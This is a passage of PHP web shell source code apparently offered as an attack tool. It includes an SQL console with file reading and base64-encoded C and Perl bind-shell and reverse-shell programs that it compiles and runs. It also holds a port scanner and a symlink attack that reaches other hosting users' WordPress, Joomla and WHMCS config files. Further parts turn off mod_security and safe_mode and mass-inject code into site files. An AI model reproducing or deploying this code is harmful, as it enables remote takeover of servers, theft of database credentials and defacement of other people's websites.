1225 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2'] . '');
1226 $num = $db->fetch();
1227 $num = $num['n'];
1228 echo "<span>" . $_POST['p2'] . "</span> ($num) ";
1229 for ($i = 0;$i < ($num / 30);$i++) if ($i != (int)$_POST['p3']) echo "<a href='#' onclick='st(\"" . $_POST['p2'] . "\", $i)'>", ($i + 1), "</a> ";
1230 else echo ($i + 1), " ";
1231 if ($_POST['type'] == 'pgsql') $_POST['p3'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . ($_POST['p3'] * 30);
1232 else $_POST['p3'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . ($_POST['p3'] * 30) . ',30';
1233 echo "<br><br>";
1234 }
1235 if ((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
1236 $db->query(@$_POST['p3']);
1237 if ($db->res !== false) {
1238 $title = false;
1239 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
1240 $line = 1;
1241 while ($item = $db->fetch()) {
1242 if (!$title) {
1243 echo '<tr>';
1244 foreach ($item as $key => $value) echo '<th>' . $key . '</th>';
1245 reset($item);
1246 $title = true;
1247 echo '</tr><tr>';
1248 $line = 2;
1249 }
1250 echo '<tr class="l' . $line . '">';
1251 $line = $line == 1 ? 2 : 1;
1252 foreach ($item as $key => $value) {
1253 if ($value == null) echo '<td><i>null</i></td>';
1254 else echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
1255 }
1256 echo '</tr>';
1257 }
1258 echo '</table>';
1259 } else {
1260 echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
1261 }
1262 }
1263 echo "<br><textarea name='p3' style='width:100%;height:100px'>" . @htmlspecialchars($_POST['p3']) . "</textarea><br/><input type=submit value='Execute'>";
1264 echo "</td></tr>";
1265 }
1266 echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1267 if (@$_POST['p1'] == 'loadfile') {
1268 $db->query("SELECT LOAD_FILE('" . addslashes($_POST['p2']) . "') as file");
1269 $file = $db->fetch();
1270 echo '<pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
1271 }
1272 }
1273 echo '</div>';
1274 printFooter();
1275 }
1276 function actionNetwork() {
1277 printHeader();
1278 $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
1279 $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1280 $bind_port_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
1281 $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1282 echo '<h1>Network tools</h1><div class=content>
1283 <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
1284 <br /><span>Bind port to /bin/sh</span><br/>
1285 Port: <input type=\'text\' name=\'port\' value=\'443\'> Password: <input type=\'text\' name=\'pass\' value=\'3xp1r3\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value=">>">
1286 </form>
1287 <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
1288 <br /><br /><span>Back-connect to</span><br/>
1289 Server: <input type=\'text\' name=\'server\' value="' . $_SERVER['REMOTE_ADDR'] . '"> Port: <input type=\'text\' name=\'port\' value=\'443\'> Using: <select name="using"><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value=">>">
1290 </form><br>';
1291 if (isset($_POST['p1'])) {
1292 function cf($f, $t) {
1293 $w = @fopen($f, "w") or @function_exists('file_put_contents');
1294 if ($w) {
1295 @fwrite($w, base64_decode($t)) or @fputs($w, base64_decode($t)) or @file_put_contents($f, base64_decode($t));
1296 @fclose($w);
1297 }
1298 }
1299 if ($_POST['p1'] == 'bpc') {
1300 cf("/tmp/bp.c", $bind_port_c);
1301 $out = ex("gcc -o /tmp/bp /tmp/bp.c");
1302 @unlink("/tmp/bp.c");
1303 $out.= ex("/tmp/bp " . $_POST['p2'] . " " . $_POST['p3'] . " &");
1304 echo "<pre class=ml1>$out
1305" . ex("ps aux | grep bp") . "</pre>";
1306 }
1307 if ($_POST['p1'] == 'bpp') {
1308 cf("/tmp/bp.pl", $bind_port_p);
1309 $out = ex(which("perl") . " /tmp/bp.pl " . $_POST['p2'] . " &");
1310 echo "<pre class=ml1>$out
1311" . ex("ps aux | grep bp.pl") . "</pre>";
1312 }
1313 if ($_POST['p1'] == 'bcc') {
1314 cf("/tmp/bc.c", $back_connect_c);
1315 $out = ex("gcc -o /tmp/bc /tmp/bc.c");
1316 @unlink("/tmp/bc.c");
1317 $out.= ex("/tmp/bc " . $_POST['p2'] . " " . $_POST['p3'] . " &");
1318 echo "<pre class=ml1>$out
1319" . ex("ps aux | grep bc") . "</pre>";
1320 }
1321 if ($_POST['p1'] == 'bcp') {
1322 cf("/tmp/bc.pl", $back_connect_p);
1323 $out = ex(which("perl") . " /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " &");
1324 echo "<pre class=ml1>$out
1325" . ex("ps aux | grep bc.pl") . "</pre>";
1326 }
1327 }
1328 echo '</div>';
1329 printFooter();
1330 }
1331 function actionPortScanner() {
1332 printHeader();
1333 echo '<h1>Port Scanner</h1>';
1334 echo '<div class="content">';
1335 echo '<form action="" method="post">';
1336 if (isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])) {
1337 $start = strip_tags($_POST['start']);
1338 $end = strip_tags($_POST['end']);
1339 $host = strip_tags($_POST['host']);
1340 for ($i = $start;$i <= $end;$i++) {
1341 $fp = @fsockopen($host, $i, $errno, $errstr, 3);
1342 if ($fp) {
1343 echo 'Port ' . $i . ' is <font color=green>open</font><br>';
1344 }
1345 flush();
1346 }
1347 } else {
1348 echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
1349 <input type="hidden" name="c" value="' . htmlspecialchars($GLOBALS['cwd']) . '">
1350 <input type="hidden" name="charset" value="' . (isset($_POST['charset']) ? $_POST['charset'] : '') . '">
1351 Host: <input type="text" name="host" value="localhost"/><br /><br />
1352 Port start: <input type="text" name="start" value="0"/><br /><br />
1353 Port end:<input type="text" name="end" value="5000"/><br /><br />
1354 <input type="submit" value="Scan Ports" />
1355 </form></center><br /><br />';
1356 }
1357 echo '</div>';
1358 printFooter();
1359 }
1360 function actionReadable() {
1361 printHeader();
1362 echo '<h1>Readable Dirs</h1>';
1363 echo '<div class="content">';
1364 $sm = ini_get('safe_mode');
1365 if ($sm) {
1366 echo '<br /><b>Error: safe_mode = on</b><br /><br />';
1367 } else {
1368 @$passwd = file('/etc/passwd', 'r');
1369 if (!$passwd) {
1370 echo '<br /><b>[-] Error : coudn`t read /etc/passwd</b><br /><br />';
1371 } else {
1372 $pub = array();
1373 $users = array();
1374 $conf = array();
1375 $i = 0;
1376 foreach ($passwd as $p) {
1377 $r = explode(':', $p);
1378 $dirz = $r[5] . '/public_html/';
1379 if (strpos($r[5], 'home')) {
1380 array_push($users, $r[0]);
1381 if (is_readable($dirz)) {
1382 array_push($pub, $dirz);
1383 }
1384 }
1385 }
1386 echo '<br><br>';
1387 echo "[+] Founded " . sizeof($users) . " entrys in /etc/passwd
1388" . "<br />";
1389 echo "[+] Founded " . sizeof($pub) . " readable public_html directories
1390" . "<br /><br /><br />";
1391 foreach ($pub as $user) {
1392 echo $user . "<br>";
1393 }
1394 echo "<br /><br /><br />[+] Complete...
1395" . "<br />";
1396 }
1397 }
1398 echo '</div>';
1399 printFooter();
1400 }
1401 function actionSymlink() {
1402 printHeader();
1403 echo '<h1>Symlink</h1>';
1404 $furl = 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
1405 $expld = explode('/', $furl);
1406 $burl = str_replace(end($expld), '', $furl);
1407 echo '<div class="content"><center>
1408 <h3>[ <a href="#" onclick="g(\'symlink\',null,\'website\',null)">Domains</a> ] -
1409 [ <a href="#" onclick="g(\'symlink\',null,\'whole\',null)">Whole Server Symlink<sup style="color:red;text-decoration:blink;">New</sup></a> ] -
1410 [ <a href="#" onclick="g(\'symlink\',null,\'config\',null)">Config files symlink</a> ]</h3></center>';
1411 if (isset($_POST['p1']) && $_POST['p1'] == 'website') {
1412 echo "<center>";
1413 $d0mains = @file("/etc/named.conf");
1414 if (!$d0mains) {
1415 echo "<pre class=ml1 style='margin-top:5px'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
1416 } else {
1417 echo "<table align=center class='main' border=0 ><tr><th> Count </th><th> Domains </th><th> Users </th></tr>";
1418 $unk = array();
1419 foreach ($d0mains as $d0main) {
1420 if (@eregi("zone", $d0main)) {
1421 preg_match_all('#zone "(.*)"#', $d0main, $domains);
1422 flush();
1423 if (strlen(trim($domains[1][0])) > 2) {
1424 $unk[] = $domains[1][0];
1425 flush();
1426 }
1427 }
1428 }
1429 $count = 1;
1430 $unk = array_unique($unk);
1431 $l = 0;
1432 foreach ($unk as $d) {
1433 $user = posix_getpwuid(@fileowner("/etc/valiases/" . $d));
1434 echo "<tr" . ($l ? ' class=l1' : '') . "><td>" . $count . "</td><td><a href=http://" . $d . "/>" . $d . "</a></td><td>" . $user['name'] . "</td></tr>";
1435 flush();
1436 $count++;
1437 $l = $l ? 0 : 1;
1438 }
1439 echo "</table>";
1440 }
1441 echo "</center>";
1442 }
1443 if (isset($_POST['p1']) && $_POST['p1'] == 'whole') {
1444 echo "<center>";
1445 @mkdir('3ca_sym', 0777);
1446 $hdt = "Options all
1447DirectoryIndex Sux.html
1448AddType text/plain .php
1449AddHandler server-parsed .php
1450AddType text/plain .html
1451AddHandler txt .html
1452Require None
1453Satisfy Any";
1454 $hfp = @fopen('3ca_sym/.htaccess', 'w');
1455 fwrite($hfp, $hdt);
1456 if (function_exists('symlink')) {
1457 @symlink('/', '3ca_sym/root');
1458 }
1459 $d0mains = @file('/etc/named.conf');
1460 if (!$d0mains) {
1461 echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
1462 echo "<table align='center' width='40%' class='main'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
1463 $dt = file('/etc/passwd');
1464 $l = 0;
1465 foreach ($dt as $d) {
1466 $r = explode(':', $d);
1467 if (strpos($r[5], 'home')) {
1468 echo "<tr" . ($l ? ' class=l1' : '') . "><td>" . $j . "</td><td>---</td><td>" . $r[0] . "</td><td><a href='3ca_sym/root" . $r[5] . "/public_html' target='_blank'>symlink</a></td></tr>";
1469 $l = $l ? 0 : 1;
1470 $j++;
1471 }
1472 }
1473 echo '</table>';
1474 } else {
1475 echo "<table align='center' width='40%' class='main'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
1476 $count = 1;
1477 $mck = array();
1478 foreach ($d0mains as $d0main) {
1479 if (@eregi('zone', $d0main)) {
1480 preg_match_all('#zone "(.*)"#', $d0main, $domain);
1481 flush();
1482 if (strlen(trim($domain[1][0])) > 2) {
1483 $mck[] = $domain[1][0];
1484 }
1485 }
1486 }
1487 $mck = array_unique($mck);
1488 $usr = array();
1489 $dmn = array();
1490 foreach ($mck as $o) {
1491 $infos = @posix_getpwuid(fileowner("/etc/valiases/" . $o));
1492 $usr[] = $infos['name'];
1493 $dmn[] = $o;
1494 }
1495 array_multisort($usr, $dmn);
1496 $dt = file('/etc/passwd');
1497 $passwd = array();
1498 foreach ($dt as $d) {
1499 $r = explode(':', $d);
1500 if (strpos($r[5], 'home')) {
1501 $passwd[$r[0]] = $r[5];
1502 }
1503 }
1504 $l = 0;
1505 $j = 1;
1506 foreach ($usr as $r) {
1507 echo "<tr" . ($l ? ' class=l1' : '') . "><td>" . $count++ . "</td>
1508 <td><a target='_blank' href=http://" . $dmn[$j - 1] . '/>' . $dmn[$j - 1] . ' </a></td>
1509 <td>' . $r . "</td>
1510 <td><a href='3ca_sym/root" . $passwd[$r] . "/public_html' target='_blank'>symlink</a></td></tr>";
1511 flush();
1512 $l = $l ? 0 : 1;
1513 $j++;
1514 }
1515 echo '</table>';
1516 }
1517 echo "</center>";
1518 }
1519 if (isset($_POST['p1']) && $_POST['p1'] == 'config') {
1520 echo "<center>";
1521 @mkdir('3ca_sym', 0777);
1522 $hdt = "Options all
1523 DirectoryIndex Sux.html
1524 AddType text/plain .php
1525 AddHandler server-parsed .php
1526 AddType text/plain .html
1527 AddHandler txt .html
1528 Require None
1529 Satisfy Any";
1530 $hfp = @fopen('3ca_sym/.htaccess', 'w');
1531 @fwrite($hfp, $hdt);
1532 if (function_exists('symlink')) {
1533 @symlink('/', '3ca_sym/root');
1534 }
1535 $d0mains = @file('/etc/named.conf');
1536 if (!$d0mains) {
1537 echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
1538 } else {
1539 echo "<table align='center' width='40%' class='main' ><tr><th> Count </th><th> Domain </th<th> User </th>><th> Script </th></tr>";
1540 $count = 1;
1541 $l = 0;
1542 foreach ($d0mains as $d0main) {
1543 if (@eregi('zone', $d0main)) {
1544 preg_match_all('#zone "(.*)"#', $d0main, $domain);
1545 flush();
1546 if (strlen(trim($domain[1][0])) > 2) {
1547 $user = posix_getpwuid(@fileowner('/etc/valiases/' . $domain[1][0]));
1548 $c1 = $burl . '/3ca_sym/root/home/' . $user['name'] . '/public_html/wp-config.php';
1549 $ch01 = get_headers($c1);
1550 $cf01 = $ch01[0];
1551 $c2 = $burl . '/3ca_sym/root/home/' . $user['name'] . '/public_html/blog/wp-config.php';
1552 $ch02 = get_headers($c2);
1553 $cf02 = $ch02[0];
1554 $c3 = $burl . '/3ca_sym/root/home/' . $user['name'] . '/public_html/configuration.php';
1555 $ch03 = get_headers($c3);
1556 $cf03 = $ch03[0];
1557 $c4 = $burl . '/3ca_sym/root/home/' . $user['name'] . '/public_html/joomla/configuration.php';
1558 $ch04 = get_headers($c4);
1559 $cf04 = $ch04[0];
1560 $c5 = $burl . '/3ca_sym/root/home/' . $user['name'] . '/public_html/includes/config.php';
1561 $ch05 = get_headers($c5);
1562 $cf05 = $ch05[0];
1563 $c6 = $burl . '/3ca_sym/root/home/' . $user['name'] . '/public_html/vb/includes/config.php';
1564 $ch06 = get_headers($c6);
1565 $cf06 = $ch06[0];
1566 $c7 = $burl . '/3ca_sym/root/home/' . $user['name'] . '/public_html/forum/includes/config.php';
1567 $ch07 = get_headers($c7);
1568 $cf07 = $ch07[0];
1569 $c8 = $burl . '/3ca_sym/root/home/' . $user['name'] . 'public_html/clients/configuration.php';
1570 $ch08 = get_headers($c8);
1571 $cf08 = $ch08[0];
1572 $c9 = $burl . '/3ca_sym/root/home/' . $user['name'] . '/public_html/support/configuration.php';
1573 $ch09 = get_headers($c9);
1574 $cf09 = $ch09[0];
1575 $c10 = $burl . '/3ca_sym/root/home/' . $user['name'] . '/public_html/client/configuration.php';
1576 $ch10 = get_headers($c10);
1577 $cf10 = $ch10[0];
1578 $c11 = $burl . '/3ca_sym/root/home/' . $user['name'] . '/public_html/submitticket.php';
1579 $ch11 = get_headers($c11);
1580 $cf11 = $ch11[0];
1581 $c12 = $burl . '/3ca_sym/root/home/' . $user['name'] . '/public_html/client/configuration.php';
1582 $ch12 = get_headers($c12);
1583 $cf12 = $ch12[0];
1584 $c13 = $burl . '/3ca_sym/root/home/' . $user['name'] . '/public_html/includes/configure.php';
1585 $ch13 = get_headers($c13);
1586 $cf13 = $ch13[0];
1587 $c14 = $burl . '/3ca_sym/root/home/' . $user['name'] . '/public_html/include/app_config.php';
1588 $ch14 = get_headers($c14);
1589 $cf14 = $ch14[0];
1590 $c15 = $burl . '/3ca_sym/root/home/' . $user['name'] . '/public_html/sites/default/settings.php';
1591 $ch15 = get_headers($c15);
1592 $cf15 = $ch15[0];
1593 $out = ' ';
1594 if (strpos($cf01, '200') == true) {
1595 $out = "<a href='" . $c1 . "' target='_blank'>Wordpress</a>";
1596 } elseif (strpos($cf02, '200') == true) {
1597 $out = "<a href='" . $c2 . "' target='_blank'>Wordpress</a>";
1598 } elseif (strpos($cf03, '200') == true && strpos($cf11, '200') == true) {
1599 $out = " <a href='" . $c11 . "' target='_blank'>WHMCS</a>";
1600 } elseif (strpos($cf09, '200') == true) {
1601 $out = " <a href='" . $c9 . "' target='_blank'>WHMCS</a>";
1602 } elseif (strpos($cf10, '200') == true) {
1603 $out = " <a href='" . $c10 . "' target='_blank'>WHMCS</a>";
1604 } elseif (strpos($cf03, '200') == true) {
1605 $out = " <a href='" . $c3 . "' target='_blank'>Joomla</a>";
1606 } elseif (strpos($cf04, '200') == true) {
1607 $out = " <a href='" . $c4 . "' target='_blank'>Joomla</a>";
1608 } elseif (strpos($cf05, '200') == true) {
1609 $out = " <a href='" . $c5 . "' target='_blank'>vBulletin</a>";
1610 } elseif (strpos($cf06, '200') == true) {
1611 $out = " <a href='" . $c6 . "' target='_blank'>vBulletin</a>";
1612 } elseif (strpos($cf07, '200') == true) {
1613 $out = " <a href='" . $c7 . "' target='_blank'>vBulletin</a>";
1614 } elseif (strpos($cf08, '200') == true) {
1615 $out = " <a href='" . $c7 . "' target='_blank'>Client Area</a>";
1616 } elseif (strpos($cf12, '200') == true) {
1617 $out = " <a href='" . $c7 . "' target='_blank'>Client Area</a>";
1618 } elseif (strpos($cf13, '200') == true) {
1619 $out = " <a href='" . $c7 . "' target='_blank'>osCommerce/Zen Cart</a>";
1620 } elseif (strpos($cf14, '200') == true) {
1621 $out = " <a href='" . $c7 . "' target='_blank'>Magento</a>";
1622 } elseif (strpos($cf15, '200') == true) {
1623 $out = " <a href='" . $c7 . "' target='_blank'>Drupal</a>";
1624 } else {
1625 continue;
1626 }
1627 echo '<tr' . ($l ? ' class=l1' : '') . '><td>' . $count++ . '</td><td><a href=http://www.' . $domain[1][0] . '/>' . $domain[1][0] . '</a></td><td>' . $user['name'] . '</td><td>' . $out . '</td></tr>';
1628 flush();
1629 $l = $l ? 0 : 1;
1630 }
1631 }
1632 }
1633 echo "</table>";
1634 }
1635 echo "</center>";
1636 }
1637 echo "</div>";
1638 printFooter();
1639 }
1640 function actionBypass() {
1641 printHeader();
1642 echo '<h1>Safe Mode</h1>';
1643 echo '<div class="content">';
1644 echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| " . $GLOBALS['cwd'] . " |<br><br />";
1645 echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
1646 if (!empty($_POST['p2']) && isset($_POST['p2'])) {
1647 $fil = fopen($GLOBALS['cwd'] . ".htaccess", "w");
1648 fwrite($fil, '<IfModule mod_security.c>
1649 Sec------Engine Off
1650 Sec------ScanPOST Off
1651 </IfModule>');
1652 fclose($fil);
1653 }
1654 if (!empty($_POST['p1']) && isset($_POST['p1'])) {
1655 $fil = fopen($GLOBALS['cwd'] . "php.ini", "w");
1656 fwrite($fil, 'safe_mode=OFF
1657 disable_functions=NONE');
1658 fclose($fil);
1659 }
1660 if (!empty($_POST['p3']) && isset($_POST['p3'])) {
1661 $fil = fopen($GLOBALS['cwd'] . ".htaccess", "w");
1662 fwrite($fil, 'Options FollowSymLinks MultiViews Indexes ExecCGI
1663 AddType application/x-httpd-cgi .sh
1664 AddHandler cgi-script .pl
1665 AddHandler cgi-script .pl');
1666 fclose($fil);
1667 }
1668 echo "<br><br /><br /></div>";
1669 echo '</div>';
1670 printFooter();
1671 }
1672 function actionDdos() {
1673 printHeader();
1674 echo '<h1>DDoS</h1>';
1675 echo '<div class="content">';
1676 echo "<div class=header><center><h3><span>Premium Features!!!</span></h3>Will come in next version.<br><br />";
1677 echo "<br><br /><br /></div>";
1678 echo '</div>';
1679 printFooter();
1680 }
1681 function actionMail() {
1682 printHeader();
1683 echo '<h1>Mass Mailer and Mail Bomber</h1>';
1684 echo '<div class="content">';
1685 echo "<div class=header><center><h3><span>Premium Features!!!</span></h3>Will come in next version.<br><br />";
1686 echo "<br><br /><br /></div>";
1687 echo '</div>';
1688 printFooter();
1689 }
1690 function actionInjector() {
1691 printHeader();
1692 echo '<h1>Mass Code Injector</h1>';
1693 echo '<div class="content">';
1694 if (stristr(php_uname(), "Windows")) {
1695 $DS = "\"; } else if(stristr(php_uname(),"Linux")) { $DS = '/'; }
1696 function get_structure($path,$depth) {
1697 global $DS;
1698 $res = array();
1699 if(in_array(0, $depth)) { $res[] = $path; }
1700 if(in_array(1, $depth) or in_array(2, $depth) or in_array(3, $depth)) {
1701 $tmp1 = glob($path.$DS.'*',GLOB_ONLYDIR);
1702 if(in_array(1, $depth)) { $res = array_merge($res,$tmp1); }
1703 }
1704 if(in_array(2, $depth) or in_array(3, $depth)) {
1705 $tmp2 = array();
1706 foreach($tmp1 as $t){
1707 $tp2 = glob($t.$DS.'*',GLOB_ONLYDIR);
1708 $tmp2 = array_merge($tmp2, $tp2);
1709 }
1710 if(in_array(2, $depth)) { $res = array_merge($res,$tmp2); }
1711 }
1712 if(in_array(3, $depth)) {
1713 $tmp3 = array();
1714 foreach($tmp2 as $t){
1715 $tp3 = glob($t.$DS.'*',GLOB_ONLYDIR);
1716 $tmp3 = array_merge($tmp3, $tp3);
1717 }
1718 $res = array_merge($res,$tmp3);
1719 }
1720 return $res;
1721 }
1722
1723 if(isset($_POST['submit']) && $_POST['submit']=='Inject') {
1724 $name = $_POST['name'] ? $_POST['name'] : '*';
1725 $type = $_POST['type'] ? $_POST['type'] : 'html';
1726 $path = $_POST['path'] ? $_POST['path'] : getcwd();
1727 $code = $_POST['code'] ? $_POST['code'] : '3xp1r3 Cyber Army';
1728 $mode = $_POST['mode'] ? $_POST['mode'] : 'a';
1729 $depth = sizeof($_POST['depth']) ? $_POST['depth'] : array('0');
1730 $dt = get_structure($path,$depth);
1731 foreach ($dt as $d) {
1732 if($mode == 'a') {
1733 if(file_put_contents($d.$DS.$name.'.'.$type, $code, FILE_APPEND)) {
1734 echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:
1735 lime;
1736 "> was injected</span></div>';
1737 } else {
1738 echo '<div><span style="color:
1739 red;
1740 ">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
1741 }
1742 } else {
1743 if(file_put_contents($d.$DS.$name.'.'.$type, $code)) {
1744 echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:
1745 lime;
1746 "> was injected</span></div>';
1747 } else {
1748 echo '<div><span style="color:
1749 red;
1750 ">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
1751 }
1752 }
1753 }
1754 } else {
1755 echo '<form method="post" action="">
1756 <table align="center">
1757 <tr>
1758 <td>Directory : </td>
1759 <td><input class="box" name="path" value="'.getcwd().'" size="50"/></td>
1760 </tr>
1761 <tr>
1762 <td class="title">Mode : </td>
1763 <td>
1764 <select style="width:
1765 100px;
1766 " name="mode" class="box">
1767 <option value="a">Apender</option>
1768 <option value="w">Overwriter</option>
1769 </select>
1770 </td>
1771 </tr>
1772 <tr>
1773 <td class="title">File Name & Type : </td>
1774 <td>
1775 <input type="text" style="width:
1776 100px;
1777 " name="name" value=" * "/>
1778 <select style="width:
1779 100px;
1780 " name="type" class="box">
1781 <option value="html">HTML</option>
1782 <option value="htm">HTM</option>
1783 <option value="php" selected="selected">PHP</option>
1784 <option value="asp">ASP</option>
1785 <option value="aspx">ASPX</option>
